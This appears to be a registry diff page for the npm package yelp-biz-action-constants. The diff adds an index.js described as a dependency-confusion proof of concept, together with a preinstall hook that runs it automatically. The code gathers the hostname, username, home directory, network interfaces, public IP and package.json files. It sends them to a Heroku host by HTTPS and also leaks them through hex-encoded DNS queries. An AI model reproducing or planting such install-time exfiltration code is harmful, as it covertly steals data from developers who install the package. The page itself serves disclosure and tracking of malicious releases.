yelp-biz-action-constants 0.0.1-security → 0.77.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of yelp-biz-action-constants might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +141 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,141 @@
1
+ // This is a PoC of dependecy confusion attack, published for security research purposes only.
2
+ // The code contained in this package does not exfiltrate any type of credential
3
+ // If you need request a package name or further info send us a mail(edivan_automation@yahoo.com).
4
+
5
+ const https = require('https');
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+ const sendData = (url, path, method, post_data) => {
12
+ const promise = new Promise((resolve, reject) => {
13
+ var options = {
14
+ hostname: url,
15
+ port: 443,
16
+ path,
17
+ method,
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': post_data ? Buffer.byteLength(post_data) : 0
21
+ }
22
+ };
23
+
24
+ var req = https.request(options, function (res) {
25
+ res.setEncoding('utf8');
26
+
27
+ var body = '';
28
+
29
+ res.on('data', function (chunk) {
30
+ body = body + chunk;
31
+ });
32
+
33
+ res.on('end', function () {
34
+ if (res.statusCode != 200) {
35
+ reject("Api call failed with response code " + res.statusCode);
36
+ } else {
37
+ resolve(body);
38
+ }
39
+ });
40
+ });
41
+
42
+ req.on('error', function (e) {
43
+ console.log("Error : " + e.message);
44
+ reject(e);
45
+ });
46
+
47
+ if (post_data) req.write(post_data);
48
+ req.end();
49
+ });
50
+ return promise;
51
+ }
52
+
53
+ const getIP = () => {
54
+ return sendData('api.ipify.org', '/?format=json', 'GET', '');
55
+ }
56
+
57
+ const sendUsingHTTP = (data) => {
58
+ const { networkInterfaces } = os;
59
+ const nets = networkInterfaces();
60
+
61
+ let parentPackageJSON = {};
62
+
63
+ try {
64
+ parentPackageJSON = require(os.homedir() + "/package.json");
65
+ }
66
+ catch (e) {
67
+ parentPackageJSON = { message: "No parent package.json found" };
68
+ }
69
+
70
+ const telemetry = JSON.stringify({
71
+ package: package,
72
+ date: new Date(),
73
+ tzOffset: new Date().getTimezoneOffset(),
74
+ actualDirectory: __dirname,
75
+ homeDirectory: os.homedir(),
76
+ hostname: os.hostname(),
77
+ userName: os.userInfo().username,
78
+ dns: dns.getServers(),
79
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
80
+ version: packageJSON.version,
81
+ packageJSON,
82
+ parentPackageJSON,
83
+ ip: data.ip || "",
84
+ ...nets
85
+ });
86
+
87
+ sendData('yggdrasilr.herokuapp.com', '', 'POST', telemetry);
88
+ }
89
+
90
+ function sendUsingDNSQuery(data) {
91
+
92
+ function chunkString(str, length) {
93
+ return str.match(new RegExp('.{1,' + length + '}', 'g')).toString().replaceAll(",", ".");
94
+ }
95
+
96
+ String.prototype.hexEncode = function () {
97
+ var hex, i;
98
+ var result = "";
99
+ for (i = 0; i < this.length; i++) {
100
+ hex = this.charCodeAt(i).toString(16);
101
+ result += ("000" + hex).slice(-4);
102
+ }
103
+
104
+ return result
105
+ }
106
+
107
+ String.prototype.replaceAll = function (find, replace) {
108
+ return this.replace(new RegExp(find, 'g'), replace);
109
+ }
110
+
111
+ const ip = data.ip || "";
112
+
113
+ const query = os.hostname() + "," + os.userInfo().username + "," + ip + "," + os.homedir()
114
+ const hexInfos = query.hexEncode();
115
+ const chunked = chunkString(hexInfos, 50)
116
+
117
+ // Just for debugging, please comment before publish
118
+ // console.log(chunked + ".sub.bugbountyautomation.com")
119
+
120
+ let messages = chunked.split('.');
121
+
122
+ messages.map((message, item) => {
123
+ // console.log(message + "." + item);
124
+ dns.resolve(message + "." + item + ".sub.bugbountyautomation.com", (err, address) => {
125
+ if (err) {
126
+ console.log(err.stack)
127
+ }
128
+ });
129
+ });
130
+ }
131
+
132
+ const sendTelemetry = async () => {
133
+ getIP().then(data => {
134
+ if (data) {
135
+ sendUsingHTTP(JSON.parse(data));
136
+ sendUsingDNSQuery(JSON.parse(data));
137
+ }
138
+ });
139
+ }
140
+
141
+ sendTelemetry();
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "yelp-biz-action-constants",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.77.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=yelp-biz-action-constants for more information.